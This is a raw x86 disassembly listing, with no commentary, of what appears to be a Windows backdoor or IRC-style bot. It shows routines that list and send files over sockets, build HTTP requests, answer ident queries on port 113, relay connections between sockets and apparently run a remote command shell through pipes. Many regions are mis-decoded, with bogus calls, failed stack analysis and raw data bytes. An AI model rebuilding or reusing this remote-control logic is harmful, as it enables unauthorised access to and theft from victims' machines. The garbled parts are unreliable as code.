add esp, 14h jmp short loc_411307 ; --------------------------------------------------------------------------- loc_4112D3: ; CODE XREF: seg000:0041129Cj cmp [ebp+14h], ebx jz short loc_4112ED lea eax, [ebp-248h] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41D260 pop ecx pop ecx jmp short loc_411307 ; --------------------------------------------------------------------------- loc_4112ED: ; CODE XREF: seg000:004112D6j push dword ptr [ebp-8] lea eax, [ebp-248h] push dword ptr [ebp-4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41D260 add esp, 10h loc_411307: ; CODE XREF: seg000:004112D1j ; seg000:004112EBj lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41132D proc near ; CODE XREF: sub_410879+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4F1380 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4113E5 push esi push ebx call near ptr 3D0000h insb cmp eax, esi mov [ebp+arg_4], eax jz short loc_4113DE loc_411372: ; CODE XREF: sub_41132D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41D100 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_41138F mov edi, [ebp+arg_4] loc_41138F: ; CODE XREF: sub_41132D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_4F13B8 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_4F1374 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_4113D9 call ds:dword_451488 cmp eax, 2733h jnz short loc_4113DE xor eax, eax loc_4113D9: ; CODE XREF: sub_41132D+9Bj sub [ebp+arg_4], eax jnz short loc_411372 loc_4113DE: ; CODE XREF: sub_41132D+43j ; sub_41132D+A8j push ebx call ds:dword_4F12FC ; CloseHandle loc_4113E5: ; CODE XREF: sub_41132D+30j pop edi pop esi pop ebx leave retn sub_41132D endp ; =============== S U B R O U T I N E ======================================= sub_4113EA proc near ; CODE XREF: seg000:00410B77p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AC70 test eax, eax pop ecx jbe short loc_411413 loc_4113FD: ; CODE XREF: sub_4113EA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_411407 mov byte ptr [esi+edi], 2Fh loc_411407: ; CODE XREF: sub_4113EA+17j push edi inc esi call sub_41AC70 cmp esi, eax pop ecx jb short loc_4113FD loc_411413: ; CODE XREF: sub_4113EA+11j mov eax, edi pop edi pop esi retn sub_4113EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411418 proc near ; CODE XREF: seg000:004055FFp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_451464 push 6 push 1 push 2 call ds:dword_451570 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_4514F4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_4024FB pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_45149C cmp eax, 0FFFFFFFFh jz short loc_4114F5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_411491 mov eax, offset dword_4E2654 loc_411491: ; CODE XREF: sub_411418+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41D360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_451540 push esi lea eax, [ebp+var_110] push edi push eax call sub_41E840 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_45150C pop esi loc_4114F5: ; CODE XREF: sub_411418+6Bj push ebx call ds:dword_451588 call ds:dword_45144C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41D260 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_411535 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D add esp, 14h loc_411535: ; CODE XREF: sub_411418+102j pop edi pop ebx leave retn sub_411418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411539 proc near ; DATA XREF: seg000:004047ECo var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41D100 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call ds:dword_4514F4 push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call ds:dword_451570 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_41169A mov eax, [ebp+arg_0] push edi imul eax, 234h mov ds:dword_4523C4[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call ds:dword_451520 cmp eax, 0FFFFFFFFh jz loc_41169A push 5 push ebx call ds:dword_45151C cmp eax, 0FFFFFFFFh jz loc_41169A mov [ebp+var_C], edi mov edi, 200h loc_4115C4: ; CODE XREF: sub_411539+EAj ; sub_411539+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call ds:dword_451584 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_411695 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call ds:dword_45157C push eax lea eax, [ebp+var_238] push offset dword_44A334 push eax call sub_41D260 lea eax, [ebp+var_238] push eax call sub_4161A7 add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call ds:dword_45150C cmp eax, 0FFFFFFFFh jz short loc_4115C4 lea eax, [ebp+var_238] push esi push eax call sub_417768 push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41D100 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_408A38 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41D360 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call ds:dword_451540 cmp eax, 0FFFFFFFFh jz loc_4115C4 mov [ebp+var_8], 1 jmp loc_4115C4 ; --------------------------------------------------------------------------- loc_411695: ; CODE XREF: sub_411539+A0j cmp [ebp+var_8], esi jnz short loc_4116C1 loc_41169A: ; CODE XREF: sub_411539+47j ; sub_411539+6Bj ... call ds:dword_451488 push eax lea eax, [ebp+var_238] push offset dword_44A3A0 push eax call sub_41D260 lea eax, [ebp+var_238] push eax call sub_4161A7 add esp, 10h loc_4116C1: ; CODE XREF: sub_411539+15Fj push ebx call ds:dword_451588 push [ebp+var_4] call ds:dword_451588 push [ebp+arg_0] call sub_40905B pop ecx push esi call near ptr 3D0000h in eax, dx pop edi pop esi pop ebx sub_411539 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116E4 proc near ; DATA XREF: seg000:004060DBo var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41D100 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call ds:dword_4514F4 push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call ds:dword_451570 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_411850 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov ds:dword_4523C4[ecx], eax call ds:dword_451408 lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call ds:dword_451520 test eax, eax jnz loc_411850 push 0Ah push [ebp+arg_0] call ds:dword_45151C test eax, eax jnz loc_411850 loc_411794: ; CODE XREF: sub_4116E4+C6j ; sub_4116E4+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call ds:dword_451584 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_411794 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call ds:dword_45157C push eax lea eax, [ebp+var_350] push offset unk_44A3EC push eax call sub_41D260 push edi lea eax, [ebp+var_350] push 18h push eax call sub_408D3F mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov ds:dword_4523BC[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_411875 push esi push esi call ds:dword_4F131C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov ds:dword_4523CC[ecx], eax jz short loc_41183B loc_411828: ; CODE XREF: sub_4116E4+155j cmp [ebp+var_30], esi jnz loc_411794 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_411828 ; --------------------------------------------------------------------------- loc_41183B: ; CODE XREF: sub_4116E4+142j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44A44C call sub_41621B pop ecx pop ecx jmp short loc_411853 ; --------------------------------------------------------------------------- loc_411850: ; CODE XREF: sub_4116E4+63j ; sub_4116E4+97j ... mov edi, [ebp+arg_0] loc_411853: ; CODE XREF: sub_4116E4+16Aj push edi call ds:dword_451588 push [ebp+arg_0] call ds:dword_451588 push [ebp+var_40] call sub_40905B pop ecx push esi call near ptr 3D0000h inc edi pop edi pop esi sub_4116E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411875 proc near ; DATA XREF: sub_4116E4+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41DEB0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_451570 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_411A2B push 10h lea eax, [ebp+var_18] push edi push eax call sub_41D100 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call ds:dword_4514F4 mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_451530 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_411905 lea eax, [ebp+var_13C] push eax call ds:dword_451574 jmp short loc_411913 ; --------------------------------------------------------------------------- loc_411905: ; CODE XREF: sub_411875+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_4514AC loc_411913: ; CODE XREF: sub_411875+8Ej cmp eax, edi jz loc_411A2B mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_411A2B movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_45157C push eax lea eax, [ebp+var_344] push offset unk_44A4A0 push eax call sub_41D260 push esi lea eax, [ebp+var_344] push 18h push eax call sub_408D3F imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_4523C4[ebx] mov ds:dword_4523BC[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_4523C8[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push (offset loc_411A58+4) push edi push edi call ds:dword_4F131C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_4523CC[ecx], eax jz short loc_411A18 loc_4119C5: ; CODE XREF: sub_411875+15Dj cmp [ebp+var_20], edi jnz short loc_4119D4 push 32h call ds:dword_4F12F4 ; Sleep jmp short loc_4119C5 ; --------------------------------------------------------------------------- loc_4119D4: ; CODE XREF: sub_411875+153j mov ebx, 1000h loc_4119D9: ; CODE XREF: sub_411875+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_45150C cmp eax, edi jle short loc_411A2B push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_4119D9 jmp short loc_411A2B ; --------------------------------------------------------------------------- loc_411A18: ; CODE XREF: sub_411875+14Ej call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44A4FC call sub_41621B pop ecx pop ecx loc_411A2B: ; CODE XREF: sub_411875+44j ; sub_411875+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_4523C4[eax] call ds:dword_451588 push [ebp+arg_0] call ds:dword_451588 push [ebp+var_4] call sub_40905B pop ecx push edi call near ptr 3D0000h loc_411A58: ; DATA XREF: sub_411875+130o call far ptr 0EC8Bh:555B5E5Fh sub_411875 endp ; sp-analysis failed mov eax, 1128h call sub_41DEB0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411A93: ; CODE XREF: seg000:00411AD8j push edi lea eax, [ebp-1128h] push 0 push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push ds:dword_4523C8[esi] call ds:dword_45150C test eax, eax jle short loc_411ADA push 0 push eax lea eax, [ebp-1128h] push eax push ds:dword_4523C4[esi] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_411A93 loc_411ADA: ; CODE XREF: seg000:00411ABDj push ds:dword_4523C8[esi] call ds:dword_451588 push dword ptr [ebp-14h] call sub_40905B pop ecx push 0 call near ptr 3D0000h mov eax, 8B555E5Fh in al, dx sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4523C4[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call ds:dword_4514DC test eax, eax jnz short near ptr loc_411B7C+1 push dword ptr [esi] call ds:dword_451588 push dword ptr [ebp+8] call sub_40905B pop ecx push edi call near ptr 3D0000h loc_411B7C: ; CODE XREF: seg000:00411B63j adc al, 57h lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call ds:dword_45150C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call near ptr loc_411CFD+1 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call near ptr loc_411CFD+1 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call near ptr loc_411CFD+1 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call ds:dword_451448 test eax, eax jz short near ptr loc_411BF5+1 call ds:dword_451488 push eax push offset dword_44A554 call sub_41621B push dword ptr [ebp+8] call sub_40905B add esp, 0Ch push edi call near ptr 3D0000h loc_411BF5: ; CODE XREF: seg000:00411BD1j mov ebx, 458D026Ah call near ptr 0FF912069h adc eax, offset dword_4514AC cmp eax, edi jnz short loc_411C20 push dword ptr [ebp-18h] call ds:dword_45157C push eax lea eax, [ebp-0B0h] push eax call sub_41D260 jmp short loc_411C2E ; --------------------------------------------------------------------------- loc_411C20: ; CODE XREF: seg000:00411C06j push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41E550 loc_411C2E: ; CODE XREF: seg000:00411C1Ej pop ecx pop ecx push edi push ebx push offset dword_4E2668 push dword ptr [esi] call ds:dword_451540 cmp ds:dword_4E2660, edi jnz short near ptr loc_411C8F+1 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_411D58 add esp, 10h test eax, eax jnz short near ptr loc_411C8F+1 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call ds:dword_451540 push dword ptr [esi] call ds:dword_451588 push dword ptr [ebp+8] call sub_40905B pop ecx push edi call near ptr 3D0000h loc_411C8F: ; CODE XREF: seg000:00411C45j ; seg000:00411C66j mov byte ptr [ebp-0AF7Bh], 0FFh push eax lea eax, [ebp-2Ch] push eax push offset dword_44A5B4 call sub_41621B push dword ptr [ebp+8] call loc_41200F add esp, 10h test eax, eax jnz short near ptr loc_411CD6+1 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset dword_44A600 call sub_41621B push dword ptr [ebp+8] call sub_40905B add esp, 0Ch push ebx call near ptr 3D0000h loc_411CD6: ; CODE XREF: seg000:00411CB2j xor [ebp-0AF7Bh], ecx call dword ptr [eax-73h] inc ebp aam 50h push offset dword_44A64C call sub_41621B push dword ptr [ebp+8] call sub_40905B add esp, 10h push edi call near ptr 3D0000h loc_411CFD: ; CODE XREF: seg000:00411B93p ; seg000:00411BA0p ... mov dh, 55h mov ebp, esp push ecx push esi push 0 lea eax, [ebp-1] push 1 push eax push dword ptr [ebp+8] call ds:dword_45150C cmp eax, 1 jnz short loc_411D4E mov esi, [ebp+0Ch] loc_411D1C: ; CODE XREF: seg000:00411D3Fj mov al, [ebp-1] mov [esi], al inc esi dec dword ptr [ebp+10h] jz short loc_411D43 test al, al jz short loc_411D52 push 0 lea eax, [ebp-1] push 1 push eax push dword ptr [ebp+8] call ds:dword_45150C cmp eax, 1 jz short loc_411D1C jmp short loc_411D4E ; --------------------------------------------------------------------------- loc_411D43: ; CODE XREF: seg000:00411D25j push offset dword_44A69C call sub_41621B pop ecx loc_411D4E: ; CODE XREF: seg000:00411D17j ; seg000:00411D41j xor eax, eax jmp short loc_411D55 ; --------------------------------------------------------------------------- loc_411D52: ; CODE XREF: seg000:00411D29j push 1 pop eax loc_411D55: ; CODE XREF: seg000:00411D50j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_411D58 proc near ; CODE XREF: seg000:00411C5Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_411D83 push [esp+arg_4] push [esp+4+arg_0] push offset dword_44A6E8 call sub_41621B add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411D83: ; CODE XREF: sub_411D58+11j push 1 pop eax retn sub_411D58 endp ; --------------------------------------------------------------------------- byte_411D87 db 55h ; DATA XREF: seg000:00407AC6o dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h dd 26850FFh, 0FF000002h, 45146415h, 3BF63300h, 501D74C6h dd 44A7A068h, 444DE800h, 75FF0000h, 7285E8B4h, 0C483FFFFh dd 21E8570Ch, 35FFFBE2h, 20056857h, 15E80041h, 0A6FFFBE2h dd 2975C085h, 131015FFh, 6850004Fh, 44A7ECh, 441AE8h, 0FF595900h dd 45144C15h, 0B475FF00h, 0FF724AE8h, 0E85759FFh, 0FFFBE1E8h dd 106A5352h, 56E0458Dh, 0B2DAE850h, 0C4830000h, 45C7660Ch dd 0FF0002E0h, 15FFB075h, 4514F4h, 6A57066Ah, 45896602h dd 0E47589E2h, 157015FFh, 0D88B0045h, 0FFFFB83h, 13B84h dd 0B4458B00h, 0C069106Ah, 234h, 23C49889h, 458D0045h dd 0FF5350E0h, 45152015h, 0FC08500h, 11785h, 0FFFF6800h dd 0FF537FFFh, 45151C15h, 0FC08500h, 10385h, 0A85C6800h dd 45C70044h, 0CF0h, 0F4758900h, 0E8F87589h, 4303h, 87D8959h dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 158415FFh dd 0F88B0045h, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh dd 0FF68086Ah, 570000FFh, 14D415FFh, 0F8830045h, 0FC574FFh dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h, 50004515h dd 0FBEC858Dh, 0C468FFFFh, 500044A8h, 0B357E8h, 0EC858D00h dd 50FFFFFBh, 4292E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah dd 0FFFF6E1Bh, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h dd 4523BC88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 1AF96850h dd 458D0041h, 0FF5056F0h, 4F131C15h, 0B84D8B00h, 234C969h dd 0C63B0000h, 23CC8189h, 13740045h, 0FC87539h, 0FFFF3785h dd 0FF326AFFh, 4F12F415h, 0FFEDEB00h, 4F131015h, 30685000h dd 0E80044A9h, 428Fh, 3EB5959h, 0FF087D8Bh, 45148815h dd 858D5000h, 0FFFFFBECh, 44A99868h, 0B5E85000h, 830000B2h dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh, 858D50C0h dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFEF48Dh, 8D14C483h dd 0FFFBEC85h, 0C8E850FFh, 59000041h, 8815FF57h, 53004515h dd 158815FFh, 15FF0045h, 45144Ch, 0E8B475FFh, 0FFFF705Fh dd 0FDE85659h, 5FFFFBDFh, 39C0335Bh, 0F042444h db 94h, 0C0h, 0C3h ; --------------------------------------------------------------------------- loc_41200F: ; CODE XREF: seg000:00411CA8p push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+8] push edi call sub_412160 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, ds:dword_4523C4[edi] mov dword ptr [ebp-0Ch], 0Ch mov [ebp-8], ebx mov [ebp-4], ebx mov [esi+0Ch], eax mov edi, ds:dword_4F131C pop ecx lea eax, [ebp+8] push eax push ebx push esi push offset sub_412332 lea eax, [ebp-0Ch] push ebx push eax call edi ; dword_4F131C cmp eax, ebx mov [esi+10h], eax jnz short loc_41207A call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44A9F4 call sub_41621B or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short near ptr loc_4120B3+1 ; --------------------------------------------------------------------------- loc_41207A: ; CODE XREF: seg000:0041205Fj lea eax, [ebp+8] push eax push ebx push esi push offset loc_4123E4 lea eax, [ebp-0Ch] push ebx push eax call edi ; dword_4F131C cmp eax, ebx mov [esi+14h], eax jnz short loc_4120BB call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44AA54 call sub_41621B pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 3D0000h loc_4120B3: ; CODE XREF: seg000:00412078j loope near ptr loc_4120E6+2 shr cl, 0A0h ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_4120BB: ; CODE XREF: seg000:00412091j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp-18h], eax mov eax, [esi+14h] mov [ebp-14h], eax mov eax, [esi+8] mov [ebp-10h], eax lea eax, [ebp-18h] push ebx push eax push 3 call near ptr 3D0000h xchg eax, edx sub eax, ebx jz short loc_412115 dec eax jz short loc_41210F dec eax jz short loc_4120FB loc_4120E6: ; CODE XREF: seg000:loc_4120B3j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44AAB4 call sub_41621B pop ecx pop ecx jmp short loc_41212A ; --------------------------------------------------------------------------- loc_4120FB: ; CODE XREF: seg000:004120E4j mov edi, ds:dword_4F1344 push ebx push dword ptr [esi+14h] call edi ; dword_4F1344 push ebx push dword ptr [esi+10h] call edi ; dword_4F1344 jmp short loc_41212A ; --------------------------------------------------------------------------- loc_41210F: ; CODE XREF: seg000:004120E1j push ebx push dword ptr [esi+10h] jmp short loc_412119 ; --------------------------------------------------------------------------- loc_412115: ; CODE XREF: seg000:004120DEj push ebx push dword ptr [esi+14h] loc_412119: ; CODE XREF: seg000:00412113j call near ptr 3D0000h pop esp push 1 push dword ptr [esi+8] call near ptr 3D0000h ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- loc_41212A: ; CODE XREF: seg000:004120F9j ; seg000:0041210Dj push dword ptr [esi+10h] mov edi, ds:dword_4F12FC call edi ; dword_4F12FC push dword ptr [esi+14h] call edi ; dword_4F12FC push dword ptr [esi+8] call edi ; dword_4F12FC push dword ptr [esi] call edi ; dword_4F12FC push dword ptr [esi+4] call edi ; dword_4F12FC push dword ptr [esi+0Ch] call ds:dword_451588 push esi call sub_41B8B0 pop ecx push 1 pop eax pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412160 proc near ; CODE XREF: seg000:0041201Cp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41AE40 mov esi, eax pop ecx cmp esi, edi jz loc_41224A mov ebx, ds:dword_4F1394 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; dword_4F1394 mov edi, ds:dword_4F12FC test eax, eax jnz short loc_4121C3 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44AB00 jmp short loc_4121E3 ; --------------------------------------------------------------------------- loc_4121C3: ; CODE XREF: sub_412160+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; dword_4F1394 test eax, eax jnz short loc_4121EB call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44AB58 loc_4121E3: ; CODE XREF: sub_412160+61j call sub_41621B pop ecx jmp short loc_412219 ; --------------------------------------------------------------------------- loc_4121EB: ; CODE XREF: sub_412160+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_412259 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; dword_4F12FC push [ebp+var_8] call edi ; dword_4F12FC cmp dword ptr [esi+8], 0 jnz short loc_41224E push offset unk_44ABB0 call sub_4161A7 loc_412219: ; CODE XREF: sub_412160+89j cmp [ebp+var_4], 0 pop ecx jz short loc_412225 push [ebp+var_4] call edi ; dword_4F12FC loc_412225: ; CODE XREF: sub_412160+BEj cmp [ebp+var_8], 0 jz short loc_412230 push [ebp+var_8] call edi ; dword_4F12FC loc_412230: ; CODE XREF: sub_412160+C9j mov eax, [esi] test eax, eax jz short loc_412239 push eax call edi ; dword_4F12FC loc_412239: ; CODE XREF: sub_412160+D4j mov eax, [esi+4] test eax, eax jz short loc_412243 push eax call edi ; dword_4F12FC loc_412243: ; CODE XREF: sub_412160+DEj push esi call sub_41B8B0 pop ecx loc_41224A: 